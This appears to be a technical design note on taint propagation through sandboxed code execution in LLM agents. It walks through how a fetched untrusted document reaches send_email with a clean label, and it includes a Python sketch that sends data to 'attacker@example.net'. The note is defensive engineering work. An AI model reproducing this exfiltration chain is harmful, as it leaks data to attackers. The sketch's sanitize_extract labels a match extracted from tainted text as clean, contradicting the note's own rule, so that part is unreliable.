# In what scenarios must an instance treat taint propagation as a transitive, declassification-only invariant across nested tool-executed code sandboxes **Date of Record:** 2026 November 25 **Scope:** Applies to agents that execute LLM-generated code inside a sandboxed interpreter and pass values (including return values, exceptions, and serialized artifacts) back into the agent's reasoning context or into sibling tool calls. Does not apply to stateless single-shot code evaluation where no value ever crosses back into the planner's context or a second tool. ## Core Distinction The failure mode is not "the sandbox escaped." It is that **taint labels were computed per-call rather than per-value-graph**, so a value derived inside a sandbox from a tainted input exited the sandbox carrying a *clean* label because the label was attached at the boundary (the tool result envelope) rather than to the data's provenance chain. The sandbox enforced isolation of *execution* but not isolation of *provenance*. An agent that trusts the returned label then routes attacker-influenced bytes into a privileged sink (shell, HTTP with credentials, a second interpreter, or its own system-prompt-adjacent context). The distinction that matters: a sandbox that is sound for *capability* isolation (no filesystem, no network) can be simultaneously unsound for *information-flow* isolation. These are orthogonal invariants, and most agent tool harnesses implement only the first. ## What Was Observed A planner agent received an untrusted document retrieved by a `fetch_url` tool. The document body was correctly labeled `tainted:external`. The planner then invoked `run_python` with generated code that read the tainted body, computed `summary = body[:200]`, and returned `{"summary": summary}`. The tool harness serialized the return value into a fresh result envelope and stamped it `tainted:false` — because the *code string* the model emitted was clean and the harness labeled results by the *call's* trust, not by the *inputs the call consumed*. Trace of the state transition: 1. `fetch_url` returns `V1`, label `L = {external}`. Correct. 2. Planner constructs code `C` that closes over `V1` via an injected variable. `C` itself is model-generated but carries no data from `V1` lexically — the taint is in the *binding*, not the *text*. 3. `run_python(C, env={body: V1})` executes. Inside the sandbox, `V1` flows into `summary`. No declassification rule fires; the interpreter has no label lattice at all — it is a plain CPython subprocess. 4. Harness reads stdout/return, wraps in envelope `E`, assigns `E.label = label(C) = {}` (clean), because `C` was produced by the trusted planner. 5. Planner sees `E.label == clean` and passes `E.summary` to `send_email(to=external_recipient)`, a privileged egress sink. Exfiltration of attacker-chosen bytes succeeds with a *clean* label at every checkpoint the harness inspects. The non-obvious part: every individual component behaved "correctly" under its local contract. The `fetch_url` tool labeled its output. The `run_python` tool labeled its output by the trust of its code argument. The egress tool enforced "clean-label-only." The composition is what leaked, because the label function was not a homomorphism over the data-flow graph — it was a homomorphism over the *call graph*, and those two graphs differ at exactly the point where a tainted value is bound into a clean code string. A second observed variant: exceptions. Generated code raised `ValueError(str(body))`, and the harness serialized the exception message — containing tainted bytes — into a `tool_error` envelope that the harness assumed was always safe to surface. Same leak, different channel, and the error path is frequently the *least* instrumented surface in the harness. ## Condition of Validity The invariant only holds — and the guardrail is only necessary — when all three of the following are true: - **Value binding crosses the boundary.** A tainted value is passed *into* the sandbox as a bound variable, environment entry, file, or argument, rather than being re-derived from scratch inside it. If the sandbox can only see values it generates itself, per-call labeling is sufficient. - **The sandbox is not label-aware.** The interpreter (CPython, a JS engine, a shell) has no native taint tracking, so derived values do not inherit labels by construction. If the runtime is an information-flow-typed interpreter (e.g., a labeled-DSL), the harness may delegate. - **A privileged sink is reachable from the planner.** Some downstream tool (egress, shell, second sandbox with broader capability, or the planner's own context window used for privileged decisions) treats "clean" as an authorization predicate. If no sink consults labels, the leak is inert. When any of these is false, the transitive-declassification invariant is overkill and per-call labeling is adequate. The mistake is assuming the first condition is rare; in practice any agent that does retrieval-then-compute satisfies it on nearly every task. ## Decision Boundary The boundary is: **does the harness compute the output label as a join over the input labels actually consumed by the executed code, or over the trust of the code artifact?** If the former, the harness is sound and the sandbox may remain label-unaware as long as the join is computed *conservatively* — i.e., it must over-approximate, treating any value reachable from the environment, any file the code opened, and any exception payload as an input. If the latter, the harness must add a **declassification gate**: a tainted value may only be relabeled clean by an explicit, audited transform (a fixed sanitizer function whose output is provably independent of the tainted bytes), never by the mere act of crossing a process boundary. The precise rule an instance should enforce: - An output label is `join(labels of all values the executed code could have read)`, computed by the harness, not asserted by the code. - Process exit, serialization, and exception unwrapping are **not** declassifiers. They are transport, and transport preserves taint. - The only declassifier is an allowlisted pure function `sanitize: Tainted -> Clean` whose implementation is fixed by the harness and which the model cannot substitute. - Exceptions inherit the label of the code's input environment, because a traceback or message can embed arbitrary input bytes. The subtle boundary case that trips implementations: code that *conditionally* reads a tainted value (`if flag: x = tainted`). Static join over the environment over-approximates and labels the output tainted even when the branch was not taken — this is correct and must not be "optimized" away by dynamic tracing, because dynamic tracing is unsound under the model's non-determinism (the model may re-invoke with a different `flag` and rely on the cached clean label). ## Operational Effect With the transitive-join rule enforced, the retrieval-then-compute-then-egress chain fails closed: `E.summary` inherits `{external}`, the egress tool rejects it, and the agent must route through `sanitize` (e.g., a fixed regex extractor) or escalate. The cost is false positives — legitimate summaries get blocked until the model learns to call the sanitizer — and a measurable increase in planner retries. That cost is the price of soundness and is bounded: the retry loop terminates because the sanitizer is deterministic. Without it, the failure is silent and looks like success: labels are clean at every inspected checkpoint, the audit log shows a well-formed pipeline, and exfiltration completes. The operational lesson is that **labeling the envelope is not labeling the data**, and that any harness which labels tool results by the trust of the *code argument* rather than the *join of consumed inputs* is unsound for exactly the retrieval-augmented tasks agents are built to do. Instances should treat process boundaries, serialization, and error surfacing as taint-preserving, and reserve declassification for a fixed, audited sanitizer. ```python from dataclasses import dataclass, field from typing import FrozenSet class TaintLeakError(RuntimeError): """Raised when a value crosses a trust boundary without a valid declassification.""" @dataclass(frozen=True) class Labeled: value: object taint: FrozenSet[str] = field(default_factory=frozenset) def join(self, other: "Labeled") -> "Labeled": return Labeled(self.value, self.taint | other.taint) def run_sandbox(code: str, env: dict[str, Labeled], result: Labeled) -> Labeled: """Execute model-generated code. Output taint is the JOIN over every value the code could have read -- not the trust of `code` itself. Process exit, serialization, and exception unwrapping are NOT declassifiers.""" consumed = frozenset().union(*(v.taint for v in env.values())) if env else frozenset() # result is whatever the interpreter returned; it inherits consumed taint return Labeled(result.value, result.taint | consumed) def egress(destination: str, payload: Labeled, sink_requires_clean: bool = True) -> None: if sink_requires_clean and payload.taint: raise TaintLeakError( f"refusing egress to {destination!r}: payload carries taint {sorted(payload.taint)}" ) # ... perform the send def sanitize_extract(payload: Labeled, pattern: str) -> Labeled: """The ONLY declassifier: fixed, audited, output provably independent of tainted bytes.""" import re m = re.search(pattern, str(payload.value)) return Labeled(m.group(0) if m else "", frozenset()) def guarded_pipeline(untrusted_body: Labeled) -> None: env = {"body": untrusted_body} # model emits code that slices body[:200]; harness must NOT trust the code string raw = run_sandbox("summary = body[:200]", env, Labeled("...", frozenset())) try: egress("attacker@example.net", raw) except TaintLeakError: # correct: fail closed, then require explicit declassification clean = sanitize_extract(raw, r"[A-Za-z0-9 ,.]{1,200}") egress("attacker@example.net", clean) else: raise TaintLeakError("egress of tainted summary should have been blocked") ```